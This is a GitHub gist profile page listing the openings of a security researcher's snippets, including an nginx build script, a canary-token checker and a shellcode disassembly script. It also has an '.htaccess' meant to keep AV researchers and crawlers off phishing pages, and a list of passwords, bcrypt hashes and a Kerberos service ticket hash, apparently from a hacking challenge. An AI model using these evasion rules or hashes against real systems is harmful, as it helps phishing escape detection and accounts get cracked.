Skip to content

Instantly share code, notes, and snippets.

View netscylla's full-sized avatar

Netscylla netscylla

View GitHub Profile
#!/usr/bin/env python3
##########################################
#
# //\ e s h t /\ s t / c
#
# Meshtastic Channel URL Decoder (c) 2024
# Print Key and Channelname from Meshtastic encoded-Channel URL
#
# License :
# http://www.gnu.org/licenses/agpl-3.0.txt
#!/usr/bin/env bash
apt-get install -y libpcre3 libpcre3-dev libssl-dev unzip make \
libgoogle-perftools-dev google-perftools jq gcc zlib1g-dev
mkdir /tmp/ngxbuild
cd /tmp/ngxbuild
ng_cookies=$(curl -s http://hg.nginx.org/nginx/tags|grep cookie|cut -f 2 -d '"'|tr -d '\n')
latestNginx=$(curl --cookie ${ng_cookies} -s http://hg.nginx.org/nginx/tags|grep "^ *release-" | head -1 | cut -c 9-)
echo "found: ${latestNginx}"
latestNaxsi=$(curl -s https://api.github.com/repos/nbs-system/naxsi/releases |
@netscylla
netscylla / .htaccess
Created September 23, 2019 19:32
Anti-Anti-Phishing htaccess - Prevent crawlers and known AV researchers
Options All -Indexes
RewriteEngine on
RewriteCond %{HTTP_REFERER} google\.com [NC,OR]
RewriteCond %{HTTP_REFERER} google\.com
RewriteCond %{HTTP_REFERER} paypal\.com
RewriteCond %{HTTP_REFERER} firefox\.com
# Block Bad Bots & Scrapers
SetEnvIfNoCase User-Agent "Aboundex" bad_bot
SetEnvIfNoCase User-Agent "80legs" bad_bot
SetEnvIfNoCase User-Agent "360Spider" bad_bot
@netscylla
netscylla / canary_checker.py
Last active March 16, 2022 13:12
Simple python program to check Office docs (doc,xls) for canary tokens
#!/usr/bin/env python3
# (C)2022 Netscylla
# License GNU GPL v3.0
import re
from zipfile import ZipFile
from io import StringIO
from io import BytesIO
import argparse
from colorama import Fore,Style
@netscylla
netscylla / diasass.sh
Created February 28, 2019 16:34
An old script that is still useful - semi-automated script to disassemble shell code and fingerprint its functionality
#!/bin/bash
##########################################
#
# Disass.sh (c) 2014
# Leveraging other OS disassembly and AV tools to fingerprint potential malware
#
# License :
# http://www.gnu.org/licenses/agpl-3.0.txt
#
# Author: Andy @ Netscylla
rocks4socks
cookiepella
asnow2021
v0calprezents
Hexatonics
reindeers4fears
Admin:$2b$15$UYNbPsy6NIJcEKL8hNTytONSYd1s/s5edU6AlnZ7cLPBqvh/e7MyW
Reznok:$2b$15$x10Eq414zFlAjdGUAdNb0OHdUjwloZviLty6mcA/0E5/ntCTBLoSK
k1ngpr4wn:$2b$15$s2KSCJY9o0yYJKyseRnO3OYQBpfaTtkUka4pO.ZbaCKwtN8N21uQu
DDAZZA:$2b$15$KUK3YijwTUzks7dqv7qNfe9NH1I6CUBXc7Wp8eOr1M26LJp9wgwlG
h4x0r was here:$2b$15$5WXQICFAYqm4uud/8chY/OMXoMzim7t02or7B1.is16QPqsZ82nca
meep:$2b$15$7Vx0P5.yfOhuZjhZJkcFDeR1tGZGJIr5ft/z6cCyRum3tunLNx6HS
Admin:$2b$15$WkMERVnmu.Japz.CpMXEjOEy41.kHjT2HECKFIgCzcRcEf9mAL3Y2
ohai:$2b$15$fn/DdRnoS2LW3M/mS02EweD3RzRbKA8MXR.zTx3l/uMnlSHvdTRaG
aaaaaa:$2b$15$fn/DdRnoS2LW3M/mS02EweD3RzRbKA8MXR.zTx3l/uMnlSHvdTRaG
daddyelf:$2b$10$8fErQG1FXMc.OlIY0bMCh./yl6La3v.ejvfH7mwXmiG2B73Hz4ZDe
$krb5tgs$23$*elfu_svc$ELFU.LOCAL$elfu.local/elfu_svc*$a59cdba000527f0577086f5f229f7315$337d35ea0e88c2d53c54ad6210580d67d2200c939d5a56781fb5f254635be0eae48bf1ce744684d99aaa88cd25176ae5b799647231824fb7fc29ab2ac57b21cb7d0dd93c501e39d81e6473134362066d3e0d90602f6f2449a411f6b542a06e1882def82c91a56abb15c907b06b443c386f5b258ded4f9f2b45d52401cbf76d01a7b48be1d808c6bd27f0039043e1a47aa5675175d38a83e35cbe2b7e99c9acac8fb7ebd59596e35417a375b45ae57ebc160473bd3158e4bb51e8807521f6ac2068d8cdb7c839d441a8b831baf5a1da6ac00c7dca7911f3bf473016cf30d95deff64099efa502423d45b049d1e8ce363e768112b0a533c2dcf48976b8715a1bd0433dcbb763dd85b304ed5b8c81608d2d3574e5aeb0ab0bc08f7ae26c2acc37ce50260cd96ddba7dae9feb9533eb4f1bb5f0166afd8f0704bb46cf28483ed3f83365989c675e383859736401b8d132d3fc157e5d63799532886860537b4ebe3b3407e63bd60b6eb513a2a55cdcbbc2bb2b470e4c77ffc0af70398fa0675d2d48b1e9f1125e521a7d102f8912855573810b5e6b9e44446e3fe9e2af7772240e33bc9de3cec1f0b1016a2fba0e568fe37d7f6efeb093abb110b0376d6ebffcf5e8a5567c46a34dcded4abc454e1377464f19297656ac
@netscylla
netscylla / Hackaday OTP 1407981609 Lambda
Created April 27, 2018 18:25
Hackday OTP 1407981609 toolkit as a AWS Lambda function on Node JS 6.10
exports.handler = (event, context, callback) => {
console.log('Received event:', JSON.stringify(event, null, 2));
if (event.a === undefined || event.b === undefined || event.c === undefined|| event.code === undefined) {
callback("400 Invalid Input");
}
var res = {};
res.a = Number(event.a);
res.b = Number(event.b);
res.c = Number(event.c);
@netscylla
netscylla / profiles.json
Created January 27, 2020 08:57
Windows Terminal Profile
// To view the default settings, hold "alt" while clicking on the "Settings" button.
// For documentation on these settings, see: https://aka.ms/terminal-documentation
// Used iconsextract to extract icons from exes and store within the roaming user profile directory
{
"$schema": "https://aka.ms/terminal-profiles-schema",
"defaultProfile": "{61c54bbd-c2c6-5271-96e7-009a87ff44bf}",